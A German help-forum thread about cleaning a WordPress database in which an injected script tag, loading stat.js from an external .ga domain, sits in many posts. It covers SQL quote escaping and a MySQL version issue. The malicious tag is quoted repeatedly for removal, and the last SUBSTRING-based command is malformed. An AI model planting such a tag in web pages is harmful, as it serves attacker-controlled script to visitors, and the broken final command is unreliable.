Wordpress Malware?

In meiner Datenbank in wp_post steht folgendes

<script src='https://https;//main.travelfornamewalking.ga/stat.js?s=newrq' type='text/javascript'></script>

habe es mit dem befehl:

UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src='https://https;//main.travelfornamewalking.ga/stat.js?s=newrq' type='text/javascript'></script>",'') WHERE post_content LIKE '%travelfornamewalking%'
versucht, aber dann kommt die fehlermeldung:
 #1064 - Fehler in der SQL-Syntax. Bitte die korrekte Syntax im Handbuch nachschlagen bei '"<script src='https://https)' in Zeile 1
wegen dem semikolon nach dem zweiten https.
wie bekomme ich das aus mneiner datenbank?

Answer 1

[TheFamousSpy]

Der Fehler ist meines Erachtens nciht der Strichpunkt sondern die Anführungszeichen. Die musst du escapen, damit deren Sonderfunktion nicht schlagend wird. Ersetze

"<script src='https://https;//main.travelfornamewalking.ga/stat.js?s=newrq' type='text/javascript'></script>"

durch

'<script src=\'https://https;//main.travelfornamewalking.ga/stat.js?s=newrq\' type=\'text/javascript\'></script>'

das sollte dann klappen.

Grundsätzlich solltest du in mySQL eher auf einfache Anführungszeichen ( ' ) statt doppelter Anführungszeichen ( " ) setzen weil die doppelten eigentlich nur als Datenbank-Identifier gedacht sind. Man kann es zwar aktivieren, dass es auch für Strings funktioniert, aber es ist natürlich einfacher sich einen Stil anzugewöhnen, der auf jeder mySQL Datenbank funktioniert.

Woher ich das weiß: Berufserfahrung – arbeite seit vielen Jahren in der IT

Comments

[robinpfeiffe97]

trotzdem zeigt er mir noch den fehler an

[TheFamousSpy]

@robinpfeiffe97

Grad bei mir nochmal getestet und da funktioniert der Befehl. Nur um sicher zu gehen, dass du es nicht falsch kopiert hast:

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://https;//main.travelfornamewalking.ga/stat.js?s=newrq\' type=\'text/javascript\'></script>', '') WHERE post_content LIKE '%travelfornamewalking%'

[robinpfeiffe97]

@TheFamousSpy

funktioniert nicht bei mir

Beweisbild https://postimg.cc/64ZGzT15

[TheFamousSpy]

@robinpfeiffe97

Ich glaube es dir eh, ist nur interessant weil es bei mir funktioniert. Ich verwende mySQL 8.0.23

Auch bei einem Online-Syntax Checker sagt er, dass das Statement gut ist:

https://www.piliapp.com/mysql-syntax-check/

[robinpfeiffe97]

@TheFamousSpy

Ich verwalte seit neustem die Webseite von unserem Verein.

Habe alle Login daten bekommen. Wir sind bei Domain Factory, da geht mysql Version aktuell nur bis 5.6.19, hat mich auch gewundert warum.

Ich vermute das das an der Version liegt, denn wenn ich das Semikolon wegnehmen führ der alles ohne Probleme aus. Bringt mi nur leider nichts, da ich da den exakten Inhalt brauche. Und 1064 Einträge manuell zu bearbeiten hab ich eher weniger Lust.

[TheFamousSpy]

@robinpfeiffe97

Wow, das ist eigentlich eine Frechheit. Immerhin gibt es die Version 5.6.50, zumindest die sollte man anbieten wenn man schon mySQL 8 nicht unterstützt das vor 2 Jahren rausgekommen ist.

Nachdem du ja immer den selben Text hast könntest du es auch umgehen indem du z.B. Substring verwendest:

Replace (SUBSTRING(post_content, POSITION('<script src=\'https://https' in post_content), 111), '')

Prüfe aber vorher mit einem select-Statement ob das so funktioniert.